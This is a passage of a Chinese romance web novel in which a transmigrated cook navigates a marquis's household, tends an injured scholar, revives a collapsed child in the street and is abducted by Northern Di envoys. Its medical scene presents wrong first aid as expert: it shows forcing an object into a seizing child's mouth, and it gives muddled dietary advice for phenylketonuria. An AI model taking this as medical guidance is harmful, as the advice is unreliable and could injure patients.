这头,老夫人想到什么,压下去的火气又冒了上来。
“你来得正好,英国公这老匹夫也太欺负人了,把小野伤成这样,你好歹也是当朝首辅,不能就这么捏着鼻子认了!”
裴谨之眼底闪现一抹锐芒,“母亲放心,此事儿子已安排妥当,儿子已派人搜集英国公府私放印子钱,还有强占民田,殴打佃农的各项证据,明日一早,御史会上奏弹劾。”
老夫人这才脸色稍霁,“这还差不多。”
又道:“你心里有数就好,只是你平日里忙,顾不上照顾几个孩子,不若给他们每人身边都安排个身手好的侍卫,我这心里才踏实。”
“儿子明白,”裴谨之点头,“已经让陈凡去暗卫营里挑选了,不日就会送过来。”
老夫人这才放心,又拉着裴野的手叮嘱了几句,起身告辞。
走到门口,还特意回头看了一眼,眼神有些意味深长。
一时间,屋里只剩下沈令薇,裴谨之,还有受伤的裴野。
气氛一时间有些安静。
沈令薇小心翼翼的上药,只觉得裴谨之那道审视的目光,像一层实质的网,压得她呼吸不畅。
时间仿佛过去了一个世纪那么久,她终于把药上完,又叮嘱了裴野几句,道:
“药已上好,奴婢就不打扰侯爷和三少爷叙旧了,奴婢……去后厨看看给三少爷熬的骨头汤。”
她刚想起身,原本闭着眼睛的裴野突然拉住她袖子:“沈姑姑,你别走,我手疼……你再帮我吹吹……”
沈令薇浑身一僵,满脑子里都是那句‘沈姑姑’,有些错愕地睁大眼睛。
“三、三少爷,使不得的,您还是唤奴婢沈厨娘吧……”
裴野眨巴眨巴大眼睛,“可是祖母方才不是说了吗,升你为掌事姑姑了呀?”
沈令薇:“……”
话是这么说,可……这一时半会儿的,她还有点不适应。
见她久久没说话,裴野脸色渐渐沉了下去,眼里涌上受伤。
“还是说……你没打算长期留在侯府?你要离开?”
意识到这一点,裴野心底竟莫名地有些难受,眼眶发热,拉着沈令薇袖子的手也渐渐松开。
沈令薇忙摆手:“不是的三少爷,奴婢没说要走……”
“那你是对我不满意?”
“也不是……”
“那你为什么不肯让我叫你姑姑?”
“我……”
裴野垂下脑袋,声音带上浓浓的鼻音和委屈,“我知道,大家都嫌我从小就顽劣,爱闯祸,不如大哥懂事,也不如二哥听话,今天还跟人打架,差点连累你受伤,你嘴上不说,心里肯定觉得我是个累赘。”
沈令薇见他这副模样,心都揪成了一团。
她蹲下来,平视着他,伸手在他脑袋上摸了摸,“三少爷这般活泼可爱,又聪慧灵动,奴婢怎会嫌弃?”
裴野湿漉漉的眼睛看着她:“可你想要走,你不想留在这里。”
“奴婢不是那个意思……”沈令薇有些哭笑不得,“奴婢只是觉得,自己身份低微,当不起三少爷这声‘姑姑
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裴野把头一扭,问裴谨之:“父亲,您怎么看?”
沈令薇的脊背瞬间僵直,尴尬得想用脚趾抠地,不敢抬头去看裴谨之的表情。
男人滚烫的视线落在她背上,本就令她无所适从。
时间仿佛被无限拉长,正当沈令薇想找个借口遁走时——
“本侯的儿子,既认定了你,你便担得起。”
沈令薇错愕,抬头,定定地看着他。
依旧是那双墨眸,但里头却似乎多了些别的东西。
侯爷这是……在肯定她?
裴野这下高兴了,主动拉着沈令薇,“你看,父亲也承认了,夫子说过,救命之恩,当以身许,可我还小,子债父偿,要不沈姑姑,你考虑一下我父亲吧?”
“他这个人,虽说脾气臭了点,性格也冷了点,但脸长得好看,日后你要跟了父……呜呜!”
沈令薇秒反应过来,一把捂住裴野的嘴。
她额头滴下一脑门的黑线,声音像是从牙缝里挤出来的一样:“三少爷,快别说了,这个玩笑一点都不好玩……”
沈令薇恨不得原地遁走。
这是一个五岁的孩子能说出来的话吗?
早知道三少爷是这样的三少爷,她就不该踏进这间屋子。
裴野“呜呜”挣扎了两下,用力扒开她的手,小脸憋得通红:“我没开玩笑!”
沈令薇眼前一黑。
裴野掰起手指,就开始揭自家父亲的老底:“祖母说了,父亲就是茅坑里的石头,又臭又硬,还是个大冰块,死鱼脸,整天有忙不完的公务,没人愿意嫁给他。”
沈令薇一脸被雷给劈了的表情。
裴野还继续道:“祖母还说,谁要是嫁进来,还得照顾我们三个拖油瓶,太吃亏了。所以五年了,父亲都还是个老光棍!”
沈令薇只觉得自己的脸在烧,根本不敢去看裴谨之的表情。
“可你不一样啊!你不嫌弃我们三个,还给我们做好吃的,还救我和大哥二哥。所以我想了想……”
他眼睛亮晶晶的,郑重其事地道:“要不你就委屈一下,把我父亲收了吧?”
沈令薇彻底石化,浑身血液都涌向了头顶。
第60章 可我爹的清白没了,你只能收了他
到底是她以前看错了三少爷?还是说,其实这才是三少爷的本来面目?
这孩子不仅不打算让他爹活,也不打算让她活。
一旁,被儿子‘嫌弃’的体无完肤的裴谨之,脸色也黑成了锅底。
他气极反笑,起身踩着极重的步子走过来,声音冷得像冰渣子。
“有种,把你刚才的话,再说一遍!”
“这话不是我说的,是祖母说的。”
裴野见势不妙,连忙拉沈令薇做挡箭牌,整个人躲在她身后,只探出一个小脑袋。
“祖母还说了,你除了脸能看,浑身上下没一处讨人喜欢的……”
“裴!野!”
裴谨之已经破功。
他大步上前,伸手就要去抓这个不知死活的小崽子。
结果裴野早有预料,‘哇’的一声,围着沈令薇左躲右闪。
沈令薇被父子二人夹在中间,成了轴心。
“侯爷息怒,三少爷还受着伤……”她下意识地张开双臂,护着裴野。
可裴谨之身形高大,动作又快,看准时机,一个上前,左手封死右侧,整个人呈合围之势压了过来。
结果裴野人小滑头,当即往下一蹲,像条泥鳅一样从沈令薇腋下钻了过去。
裴谨之双臂用力,一时间失去惯性,整个人突然就朝着沈令薇抱了过去……
沈令薇只觉得眼前一黑,紧接着,整张脸便贴上一具温热滚烫的胸膛,身体也被圈进一个结实的怀抱里。
鼻息间,皆是男人身上那炽热又滚烫的男性气息。
时间仿佛停止,两人皆像是被施了定身咒。
沈令薇整个人僵在原地,大脑一片空白,耳膜里全是男人胸腔那沉重有力,如同擂鼓般沉稳有力的心跳。
裴谨之也猛然僵住,怀里的女人,脊背崩得像一张拉满的弓,僵硬得几乎有些硌手。像带着一股子宁折不弯的生命力。
她身上的气息也不似那些名门贵女惯用的脂粉香,而是有股淡淡的体香,还夹杂着一丝烟火气。
纯粹的勾人。
裴谨之喉结滚动了一下,一股熟悉的燥热从某处升腾起来,像是被压抑了太久的东西,终于找到了出口。
手臂更是不受控制地收紧了几分。
怀里的女人,杏眼圆睁,红唇微微张大,显然一时间还没反应过来。
那燥热,又深了几分。
一旁,裴野看到这一幕,小嘴张成了‘O’字,眼睛瞪得溜圆。
他忙伸手捂住眼睛,可下一秒,又忍不住叉开指缝往外偷看。
“侯、侯爷……”
意识到所处的情况,沈令薇像被烫到一样,急忙从裴谨之怀里抽离,尴尬得手脚都不知道往哪儿放。
怀里的温香骤然抽离,裴谨之的手还维持着姿势,僵在半空。
“那个,三少爷,奴婢药已上完,先去厨房了……”
裴野笑的眉眼弯弯,贼兮兮地开口:“我方才都瞧见啦……”
“夫子说了,这叫情难自禁,父亲,你是不是也觉得沈姑姑抱起来软绵绵,香喷喷的?”
沈令薇大脑‘嗡’的一声,顿时五雷轰顶!
“三少爷,事情不是你想的那样……”
“可我爹的清白没了,你只能收了他了……”
裴野那双眼睛,不停地在两人身上转来转去,像只偷腥的小狐狸。
沈令薇朝裴谨之看了一眼,希望他能出面解释。
可裴谨之就跟没听到一样,有些呆呆地站在那儿,看着自己的手指,也不知道在想些什么。
沈令薇深吸一口气,道:“方才只是意外,三少爷可莫要再拿这种事开玩笑了,奴婢早就发过誓,这辈子都不会再嫁人。”
此话一出,屋里的气氛瞬间一凝。
连裴野都皱紧了眉头:“为何?”
沈令薇并没朝他解释,只抬手摸摸他的头:“奴婢只想把安安好好带大,照顾好三少爷,还有大少爷和二少爷。”
沈令薇没说的是,她一个带着孩子的寡妇,且不说能不能够得上侯府的门第,就算够得上,她作为一个现代灵魂,也从没想过把自己和女儿的未来,交到一个男人手上。
那是对自己人生的不尊重。
……
一夜无话,翌日,沈令薇特意起了个早,去厨房做了一份马蹄糕,炖了排骨莲子汤,还有几样开胃的素馅小包子。
小包子是带给安安和
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三位小少爷吃的,马蹄糕和排骨汤,则是专门给陆酉带的。
昨晚见到他袖子上的竹叶,她便猜到了陆酉的身份,正是干娘时常提起的儿子。
只是沈令薇没想到的是,他竟然就是今科状元。还这么巧,恰好顶替周夫子入了青云舍。
只不过干娘为人低调,没张扬,所以上回才会在书斋被掌柜欺负。
把安安送去书院,沈令薇又转道去了药堂,买了消肿化瘀最好的红花油,生肌膏,才拎着篮子来到石子巷。
陆母一见到她就热情地迎了上来,“哎哟,令薇来了呀。”
看到沈令薇手里的篮子,又嗔道:“你说你这孩子,每次来都还带东西。下回可别再带了,干娘这儿啥都不缺……”
陆母一边说,又要转身去厨房煮红糖鸡蛋。沈令薇推脱道:
“干娘,快别忙了,我今天来,是想要感谢陆大哥的。”
紧接着,她便将昨天陆酉替她挡了一棍的事说出来,又道:“要不是因为我,陆大哥根本不用遭这份罪的。”
陆母听得心惊肉跳的,最后长叹一声:“怪不得呢,昨儿我瞧他走路的姿势有些不对,可问他又说没什么事,这孩子,从小就是个闷嘴葫芦,天大的事儿都自己扛着。”
沈令薇拿出药油和膏贴:“陆大哥是读书人,万一伤到了脊梁骨怎么办?我带了些红花油和生肌膏,还有熬好的排骨汤,还请干娘代替陆大哥收下,莫要推辞。”
陆母拍拍她的手,安慰道:“不打紧,你是我认的干女儿,那便是一家人,再说了,男人保护女人,本就是天经地义。”
沈令薇心头一暖,愧疚感愈发严重。
陆母说着,又忽然话锋一转:“令薇呀,干娘年纪大了,膝下就酉儿这么一个孩子。”
“这孩子打小就孝顺,懂事,你也是个顶顶好的,我想着,等哪天我不在了,你和安安孤儿寡女的,难免被人轻看了去。”
她看向沈令薇,眼神里多了几分期盼:“我时常便想着,要是咱们能成为真正的一家人,该多好!”
她这话意有所指,沈令薇心头一跳。
干娘这是……想撮合她和陆酉?
第61章 若是不介意,我可以帮你
最后,沈令薇只得找借口岔开话题:“对了干娘,这是我带给陆大哥的药油,掌柜说是最好的,需要加热了,搓在手上揉开了用。”
陆母知她面皮薄,也没再继续这个话题,转身去了灶房煮鸡蛋。
“行行,先不说了,那你先进屋坐会儿,我去灶房生火。”
院子里一下子就静了下来,沈令薇拎着篮子进屋,将马蹄糕和排骨汤摆在桌子上。
陆家虽不宽敞,但被收拾得很整洁,窗明几净。
就在沈令薇刚摆好时,忽然听见隔壁屋子里传来什么东西落地的声音。
“咚!”
沈令薇起初惊了一跳。
这个时辰,莫不是家里进了贼?
她侧耳倾听,很快,又好似听到屋里有人在翻找什么东西,又像是碰到了什么。
沈令薇越想越觉得可疑。
干娘平日里一个人在家,保不齐真有那宵小,干娘一个人定然不是对手。
沈令薇目光一扫,很快落在了门口的鸡毛掸子上。
她放轻脚步,贴着墙,拿起鸡毛掸子,一寸寸朝屋门口挪了过去。
终于,又听到屋里一道声音传出来,沈令薇鼓足了勇气,攒足了力气,一把掀开门帘!
“住手!”
然,在看到屋里的一幕时,她整个人被定住!
临窗的书桌旁,陆酉正坐在那儿,微微侧着身子,衣服悉数被褪到腰腹部,露出冷白如玉的背脊。
阳光从窗外照进来,落在他身上,泛起一层淡淡的光泽。
那背脊并非寻常书生的文弱,而是线条分明,腰身劲瘦,带着一种薄锐美感,像是一张拉满却未发的弓。
肩上有道青紫的痕迹,蜿蜒在雪白如玉,清正如画的躯干上,生生破坏了那份清雅,却又平添了一种破碎感。
听到这突如其来的动静,陆酉也惊愕回眸。
琥珀色的瞳孔骤然一缩,随即涌上局促。
“沈、沈娘子……”
陆酉胡乱地拉起衣服,却不慎牵动伤口,疼得他眉头一皱。
沈令薇也忙反应过来,下意识地回头,结结巴巴地解释道:“抱、抱歉,我不知道你在家,我以为进了贼……”
她声音渐渐小了下去,手里的鸡毛掸子‘啪嗒’一声掉在地上,脸颊烫得吓人。
陆酉迅速穿好衣服,站在原地,俊脸染上薄红。
“无妨。是我……失礼了。”
沈令薇深吸好几口气,强迫自己在这极度的尴尬中冷静下来。
调整好情绪,她转过身,目光落在陆酉脸上,却不敢下移。
“陆大哥,你的伤……方才是在自己上药?”
陆酉耳根还红着,微微颔首。
“本想自己处理,不想惊动了沈娘子。”
沈令薇咬了咬唇,犹豫了一瞬,还是开口:“伤在后背,自己怎么够得着?”
陆酉一怔。
“不碍事,过两日自然就好了。”
“那怎么行?”沈令薇皱眉,从桌上拿出自己带来的药油。
“昨日那一棍子是实打实的,若是不揉开瘀血,伤了筋骨,以后阴雨天都要受累。”
“你是因救我受的伤,陆大哥,你若是不介意,我可以帮你。”
沈令薇是硬着头皮说完的,说完后,自己脸颊也有些热。
但一想到毕竟是为了救自己才受的伤,那点什么男女大防,也就想得不那么重要了。
陆酉有些意外的抬眸,恰好撞进沈令薇那双清澈,专注,还带着几分自责的眼底。
拒绝的话一瞬间卡在了喉咙里。
他喉结滚动了一瞬。沉默了几息,终于开口。声音比平时低了几分:
“……有劳沈娘子了。”
沈令薇心头一松,“那你坐好,我先准备一下。”
一切准备就绪,陆酉重新脱下上半身袍子,坐在凳子上。
沈令薇将药油倒在掌心,搓热。然后抬手,覆上陆酉的肩膀。
双手接触到皮肤的那一刻,陆酉猛地一颤,背脊像紧绷的弓弦一样,呼吸也在一瞬间停止。
“陆大哥,你放松些……”
感受到他的紧绷,沈令薇柔声开口,说话间,呼吸喷洒在陆酉背上,陆酉僵直的身体像是被冬日的暖阳亲吻过,一股又酥
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又麻的战栗,顺着脊椎一路炸开。
无数的微电流涌向四肢百骸。
他喉咙里溢出一声轻哼,原本死死攥紧的手指也缓缓松开,撑在膝盖上。
红花油辛辣,随着沈令薇的推揉,和她手上的体温交织在一起,渐渐地,陆酉觉得那片皮肤像是不再属于自己,而是化作了一汪被搅乱的春水。
他微微垂头,冷白的皮肤在药力的揉搓下,泛起了一层诱人的薄粉。
沈令薇全神贯注地揉,推,时不时问他力道如何,重不重,疼不疼。
陆酉始终显得客气又礼貌。
渐渐地,沈令薇的注意力逐渐飘忽。
掌心下的触感,太过清晰,让人无法忽视。
陆酉的背,并不像她想象的那种读书人的单薄,相反,指腹下肌理紧实,线条流畅,随着她手上的动作微微起伏着,像是有自己的呼吸。
再加上他皮肤本就细腻,又带着年轻男子特有的韧劲。
沈令薇忽然生出一种错觉,自己像是在触摸一块上好的羊脂玉。
温润,细腻,带着微微的凉意。
如今,这块美玉却因为自己,留下了这般狰狞的印记。
“昨天在书院门口,……谢谢你。”沈令薇打破沉默。
“其实你不必替我挡那一下的,若是伤了手或者重处,耽误了你翰林院的前程,我便是万死也难辞其咎。”
陆酉沉默一瞬,没有回头,声音透着一股子笃定。
“若重来一次,我还是会挡。”
沈令薇揉搓的动作一滞。
“我既身为书院的夫子,守护书院的学子们本就是职责所在,再说,昨日之事,亦是国公府的人仗势欺人,有错在先,我身为读书人,又岂能眼睁睁看着他们如此?”
沈令薇揉搓的动作慢了下来,忍不住在心里轻叹。
连周远这个山长都要向权贵低头,在这京城里,拜高踩底的人更是不知凡几。
陆酉不过是个寒门状元,能做到这般,着实不易。
“不管怎么说,陆大哥的这份恩情,我记下了。来日若有机会,必当报答。”
第62章 你……真的能治?
接下来的两日,沈令薇依旧每天来陆家送吃食,并顺带给陆酉揉药。
要说最高兴的,莫过于陆母。这两日她嘴角的笑容就没压下去过。
看沈令薇和儿子在屋里互动,心里已经开始盼起了孙子。
第三日,沈令薇从石子巷出来,察觉街上的气氛不太对。百姓们三五个聚在一起,都在义愤填膺地议论着什么。
“呸!那帮北狄蛮子,真当大周是他们的草场了?昨儿个在绸缎庄强抢了几匹料子,临走还把掌柜给打了。”
“这帮畜生!仗着是来议和的,官府不好动他们,就横行霸道!”
“什么议和?我看就是来耀武扬威的!”
“……”
议论声很大,沈令薇听得眉头紧皱。
经历上次南风馆一事,她对北狄人没什么好印象。时常侵扰大周边境,眼下虽说来议和,却胆敢如此嚣张?
朝廷难道不管?
正疑惑时,前方突然传来一阵喧哗声。
“砰!”
不远处的馄饨摊子前,一张桌子被人踹翻,碗筷碎了一地。
“老子吃你的馄饨是看得起你!还敢要银子?”
只见两个身材魁梧,穿着北狄服饰的男人站在摊子前,眼神肆无忌惮地打量着摊主夫妇。
另一张桌子前,还坐了个帽子上插满羽毛,面容精瘦的老者,正气定神闲地吃着碗里的馄饨。看其装扮,应该也是个北狄人。
摊主是个四十来岁的中年弱汉子,被吓得后退了几步,忙护着妻儿,告饶道:
“两位爷!两位爷行行好!这顿算小的请的,不要银子,只求两位爷高抬贵手,放我们一家老小……”
“请?”其中一个独眼龙嗤笑一声,一把揪住摊主的衣领子,“老子在北狄吃的都是整只烤羊,稀罕你这破馄饨?”
说话时,他目光却落在那摊主妻子身上,笑容猥琐。
“不过这小娘子倒是长得不错……”
“就是不知道尝起来……够不够劲儿。”
“别……别过来……”
摊主妻子吓得脸色惨白,搂着四五岁的儿子往后退。
“内子粗鄙,还请好汉高抬贵手啊……”
“去你的……”
摊主告饶,却被北狄人随手一推,眨眼间就将摊主像甩麻袋一样甩了出去。
“阿爹!”
“当家的!”
小男孩惊叫着扑向摊主。
周围的百姓们见状,气得眼红,想上前帮忙,但又忌惮这帮蛮子的身份,只能握紧了拳头低吼:
“光天化日,还有没有王法了!”
那独眼龙朝地上吐了一口:“老子是来议和的,不过看中个娘们而已,你们谁敢动手,便是破坏和平!”
独眼龙说着,已经靠近了那妇人,伸手去摸她的脸。
“住手!”
几个百姓看不下去,想冲上前来,另一个北狄人却抽出腰上的弯刀,“怎么?想打架?”
几个百姓脚步一顿,顿时面面相觑,不敢再上前。
独眼龙顿时哈哈大笑,手又伸向那妇人。
就在这时,一声惊呼声响起:“虎娃!虎娃你怎么了?!”
摊主惊恐地看着儿子,那小孩此时浑身僵硬,脸色以肉眼可见的速度变得青紫,嘴唇发乌,眼睛往上翻,身子剧烈地抽搐着,像是被什么东西掐住了脖子。
这突如其来的一幕,让所有人都愣住。
就连那个独眼龙也都停了下来。
就在这愣神的功夫,那妇人趁机一把推开那独眼龙,猛地扑向自己的孩儿。
“虎娃!虎娃你醒醒!你别吓娘啊!”摊主妻子抱着孩子,哭得撕心裂肺,却又手足无措。
这时,坐在一旁桌子上,那个头上插满羽毛的瘦男人,眼神动了动。并抬手阻止了独眼龙想要上前的脚步。
若是仔细看,便能发现他眼底正闪烁着兴奋的光芒。
看得出,这个羽毛老头,应该就是这三人之中的头儿。<
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br>摊主夫妇还在哭喊,撕心裂肺地朝众人求救:“救命啊!求求你们,救救我的孩子!救救我的孩子啊!”
周围的百姓都愣住了,眼神不忍。
“虎娃这是……又发病了?”
“是啊,从小就这样,只是这一次不知怎的,竟这般严重,看着好像快不行了。”
有些人是这附近的街坊,认识摊主夫妇,不禁替这苦命的一家人感到唏嘘。
“作孽哟,李虎娃多乖的一个孩子,竟得了这种怪病。”
“听说是中了邪?”
围观众人七嘴八舌地议论着,就连那两个北狄人也都撇了撇嘴,满脸嫌弃。
这时,那妇人抖着手,试着去探孩子的鼻息,结果下一秒,她整个人猛地崩溃,抱着孩子撕心裂肺地大哭起来。
“虎娃!我的孩子啊……”
“这、这就没气了?”有百姓惊愕,忍不住安慰道:
“虎娃他娘,节、节哀吧,这孩子的命,怕是到头了。”
“就是啊,这都是命,快给孩子收拾收拾吧。”
那伙北狄人顿时觉得晦气,骂骂咧咧地拨开人群想走。
就在这时,一道极为冷静沉着的声音自人群后方响起。
“都散开,想让孩子活命就别围着!”
众人回头一看,却见一个身穿丁香色,衣着普通的妇人正从人群外围挤了进来,手里还拎着个竹篮,里面是一些瓜果蔬菜等吃食。
沈令薇动作很快,在众人还没反应过来的时候,就已经蹲到了虎娃身边。
“你这小娘子,做什么呢?孩子都落气了!”有人劝道。
沈令薇充耳不闻,她伸手探在虎娃的颈侧,又贴近胸口听了听。
“还没死,能救!”
众人皆是一愣,不敢置信的看着她。
“这、这都落气了,还能治?”
“这小娘子莫不是在说疯话?”
摊主也愣住了,满是希冀地看着她:“你、你真能治?”
第63章 快,再吹一口
沈令薇言简意赅:“这是典型的惊吓诱发代谢性呼吸骤停!要想活命,就听我的!”
那沉浸在悲伤和绝望中的妇人听到这话,猛地抬头,死死地抓住沈令薇的袖子:“求你,救救我的孩子,你让我做什么都可以,求你……”
沈令薇拉起妇人,指挥她把小孩的身体侧过来,然后伸手抠开孩子的嘴巴,将其中的污物抠出来。
周围的百姓见状,纷纷满脸的不敢置信。
“这人在干什么?摸尸体的手法真是古怪。”
“哪有这样救人的?这不是胡闹吗!”
沈令薇充耳不闻。
她观察到孩子牙关紧咬,立马从篮子里翻出来一截胡萝卜,塞到孩子的嘴里,然后指挥摊主将孩子放平,双手交叠,按压在虎娃的胸口。
一下一下,富有规律和节奏。每一掌都用上了暗劲儿。
可在众人看来,她就是在糟蹋孩子的尸体。
“这妇人莫不是疯了?怎么还打起**来了?”
“李家的,快拉开啊,哪儿能让人这么按虎娃的胸口,骨头都要按断了!”
摊主顿时手足无措,紧张的额头都在滴汗。
沈令薇指挥他;“快,捏住他的鼻子,给他渡气,对着嘴吹,我每按压四五次,你就吹一口大气进去,快点!”
摊主瞪大了眼睛:“亲、亲嘴?这、这怎么使得?”
那是他儿子啊!
沈令薇咬牙,瞪了他一眼;“这不是亲嘴,是救命的仙术,你不想你儿子活命吗?”
果然,摊主一听说‘仙术’,立马被唬住了,眼底燃起希望,也顾不得其它,当即就按照沈令薇的吩咐,猛吸了一大口气,对着虎娃的嘴吹了进去。
沈令薇继续按压,死死地盯着虎娃的脸色。
一旁,那个头上插满羽毛的瘦老头见状,不由得摇头叹息:“没用的,他是被天狼神诅咒了,没得治。”
沈令薇手上动作未停,听到这话不禁冷笑一声:“若神明真要夺命,何需如此大费周章?所谓的‘诅咒’,不过是你们自己医术不精,见识浅薄,替自己找来的借口罢了。”
那羽毛老头气得眼珠子一瞪,“你这无知妇人,胆敢对我北狄的天狼神不敬……”
“神也好,诅咒也罢,能救人的,才是真本事!”
说完,沈令薇不再理会对方,专心致志地按压虎娃的胸口。
“快,再吹一口。”
一旁的独眼龙嗤笑一声:“萨满大人,我看这妇人就是个虚张声势的……”
结果,话音刚落,就见原本双眼紧闭,没有一丝生气的虎娃,竟猛地从喉咙里发出呛咳声,原本平静的胸膛也跟着起伏,像是硬生生被什么东西从深渊里拽了回来。
“呼!咳咳……”
“活了!活了啊!”人群炸开了锅,纷纷瞪大眼睛,不敢置信的看着眼前这一幕。
虎娃缓过一口气来,然后被母亲搂在怀里,“哇”的一声哭了起来。
哭声嘹亮,响彻了整条街。
人群瞬间炸开。
“天爷!真活过来了!”
摊主扑过去搂着儿子,跪在地上又哭又笑。
虎娃的母亲则抱着孩子,对着沈令薇不断地磕头致谢。
沈令薇起身,拍拍身上的灰尘,朝摊主夫妇叮嘱道:“孩子刚醒,心肺还弱,接下来的两个时辰,先别急着给他喂水,或者吃硬食,以后连米面粮食都不能吃,吃了就容易发作。”
孩子母亲愣住:“米面都不能吃?可、孩子正是长身体的时候,不吃粮食怎么行……”
沈令薇摇头,朝她解释:
“别人家的孩子能吃,你家孩子不能吃。这不是饿不饿的事,是他肚子里缺了一样东西,化不开那些粮食。吃了不但不长身体,反而要命。”
“可以给他吃些羊奶,野菜,肉汤也行,但凡是地里长出来的粮食,一概别碰。”
这个说法,众人皆是闻所未闻,不禁疑惑。
“这……这真是闻所未闻!人活一世,哪有不吃五谷杂粮的道理?”
“就是,不吃粮食,那吃什么?喝西北风啊?”
“这娘子该不会是胡诌的吧……”
议论声四起,不仅是路人,就连方才那羽毛老头,也眯起了双眼,眼神中满是若有所思。
“你们没见过,不代表没有。”
面对质疑,沈令薇尽量用大家听得懂的话解释:“就好比有人吃了花生浑身起疹子,有人喝了羊奶上吐下泻。各人的身子不同,能消化的东西也不同。这孩子的身子,就是化不开粮食里的东西。”
用现代的说法,就是食物不耐受。
她想起以前在特教机构,也有个特殊孩子,同样的症状,是典型的典型的苯丙酮尿症,若是在现代,可以用特制奶粉,以及严格的膳食检测。
可在这古代,这些米
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和面,对孩子来说就是慢性的穿肠**,会一点点腐蚀他的神智,最终变得痴傻。
这头,羽毛老头在听到这番说辞后,眉头拧成了一个结,手指死死地攥着腰间的一只骨哨,眼神一阵变幻。
另外两个北狄人见沈令薇当场‘起死回生’,眼神都变了。
尤其是那个独眼龙,他看向沈令薇,像是在看神明一样,眼底满是佩服,和崇拜。
“白鹿神女!”独眼龙上前一步,朝着沈令薇唤了一声,微微弯腰,双手交叉抵在胸前,眼底满是虔诚。
“您能吹气入魂,能指谷为毒,你就是长生天派下来的白鹿灵女!”
在北狄的古老传说中,白鹿灵女是生命的守护神,她行走于草原,能一眼看穿被恶魔诅咒的血脉。
“灵女在上,”另一名同伴也紧跟着单膝跪地,神色肃穆的双手交叠在胸前。
“方才我等粗鄙,冲撞了灵女,请灵女降下宽恕,莫要让‘天狼’降罪于我等部族!”
周围的百姓听得一头雾水,却也敏锐地察觉到了这两个蛮子的变化。不禁窃窃私语。
沈令薇脑门突突地跳。
她才不想被当成什么灵女。
“我不是什么灵女,”沈令薇道,“我不过是个普通人,多看了几本书,认得几种杂症罢了。”
说完,沈令薇转身就走。
身后,独眼龙和另一个伙伴还跪在地上,眼里满是迷惑。
羽毛老头站在原地,盯着沈令薇远去的背影,目光幽深的吓人。
嘴里喃喃道:“格根塔娜……终于找到了……”
……
这头,沈令薇拎着篮子,加快脚步往侯府方向走。
可不知为何,总感觉暗处有一双眼睛在盯着自己。
在距离侯府不到两条街时,途经一条巷子,她脚步一顿。
前方巷口,站着一个人。
正是方才那独眼龙北狄人。
沈令薇心头一紧,下意识后退一步;“你们想干什么?”
那独眼龙上前一步,抚胸朝她行了一礼,用生涩的汉语道了句:
“灵女勿怪,得罪了。”
沈令薇顿时警铃大作。
然,还没等她做出反应,身后骤然传来一道劲风。
紧接着,后脖子一痛,沈令薇眼前一黑,整个人顿时意识全无。
‘啪嗒!’
手里的篮子坠落在地上,瓜果蔬菜滚落了一地……
第64章 火急火燎
暮色四合,最后一丝夕阳已经落下。
安安蹲在青云舍的门口,手里拿着今天刚得到的红菱花,已经等了小半个时辰,还没见娘亲来接她。
天越来越暗,她小小的身子在夜风里微微发抖,却一步也不肯挪开。
“安安?你怎么还没回家?”
是陆酉,自打前面的周夫子摔断腿后,便举荐了他来书院教导孩子们功课。
前两天他后背受了伤,今天也是来书院授课的第一天。
安安见到陆酉,再也藏不住眼底的担忧;“陆、陆夫子,我在等娘亲,她说过会来接我……”
陆酉抬头看向街道尽头,空荡荡的,连个人影都没有,而且天色已经不早了。
他朝安安安抚道;“或许是侯府有差事耽搁了,要不我先送你回去看看?”
安安想了想,遂点点头。
然,当安安回静和苑后,让银杏帮忙问了一圈,结果得知,娘亲从上午出门后,一直都没回来过。
这下,安安再也忍不住,当着银杏的面就大哭起来。
“银杏姐姐,娘亲、娘亲她……呜呜……”
银杏好一阵安慰,把安安安抚住,并答应带她一起去门口等一等。
结果安安和银杏抵达门口,发现陆酉还没走,在等消息。
“呜呜陆夫子,我娘亲还没回来……”
陆酉顿时面色一紧。
上午的时候,沈娘子还来过他家里,给他上药。难道是回来的路上出了什么事?
就在此时,一阵马蹄声由远及近。
是陈凡,他依照裴谨之的吩咐,回府到书房取一纸公文。
银杏认得陈凡,见陈凡下马,抬腿就要进屋,她突然也不知哪儿来的胆子,突然上前一步,拦住了对方:
“陈、陈侍卫!”
陈凡脚步一顿,看向银杏。
“陈侍卫,静和苑的沈掌事,下午出府采买,到现在还没回来,门房也说没见着人……”
陈凡神色微微一变:“可有派人去找过?”
银杏摇头:“奴婢没有腰牌出不了府门,老夫人也不在,正想着来门口看看,若实在不行,就去禀明了大夫人。”
陈凡的面色瞬间凝重,他清楚沈娘子对自家主子而言,有些特殊。
她目光扫过一旁神色焦急的安安,还有陆酉,从腰间解下一块腰牌,递给银杏:
“你先带两个腿脚快的婆子出去寻,沿街的铺子,摊子,但凡她常去的地方,挨个打听一番,我现在就去禀明侯爷。”
“是,我这就去。”银杏连忙点头,转身就往外跑。
陆酉吩咐安安先回静和苑,自己也转身,和银杏兵分两路出去找人。
……
与此同时,朝堂这边,皇帝下旨,今晚在鸿胪寺设宴款待北狄使臣。
裴谨之作为首辅,又是全权负责此次接见事宜的大臣,自然也参与了这场宴会。
宽敞明亮的大厅里,丝竹声,交谈声,还有酒杯碰撞的声音交织在一起。
红烛高照,映得满室辉煌。案几上摆满了珍馐美馔,侍女们穿梭其间,为宾客斟酒布菜。
裴谨之端坐上首位置,从容地应付着同僚们的敬酒。
他的对面,赫连绯正斜靠在案几上,单手撑着下巴,漫不经心地转动着酒杯。
他今日换了一身玄色金纹的王族礼服,长发以金冠束起,少了几分妖冶,但眼里依旧是那副懒洋洋的,什么都提不起兴致的模样。
他举起酒杯,朝裴谨之遥遥示意。
裴谨之举杯回礼,一饮而尽。
觥筹交错间,气氛倒也融洽。
这时,陈凡从外头走来,靠在裴谨之耳边,低声说了句什么。
下一秒,就见裴谨之那双黑眸里,似有什么东西一闪而过。
太快,没人看清。
之后,裴谨之放下酒杯,起身就要离席。
对面的赫连绯见状,也笑吟吟的朝周围举了杯酒,“小王出去透透气。”
大殿外,裴谨之刚出门,就被赫连绯拦住了去路。
“定远侯,这酒才刚过三巡,歌舞也才跳了一半,这是要去哪儿?”
赫连绯手里摇着把折扇,语气满是戏谑:“久闻侯爷风姿卓绝,乃是大周朝堂的定海神针。今日小王远道而来,这议和书上的墨迹还没干呢,侯爷就急着离席,莫不是……看不起小王?”
这话说得轻飘飘的,却分量不轻。
裴谨之看着他,目光依旧沉静如水。
过了片刻,裴谨之淡淡的开口:“小王子多虑了。本侯只是忽然想起,府中有要事处理。”
赫连绯挑眉:“小王倒是好奇,什么事竟比两国邦
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交还要重要?”
“听闻裴侯夫人已经故去了五年,至今未娶,瞧裴侯这火急火燎的架势,莫不是心下有了相好,去赴约?”
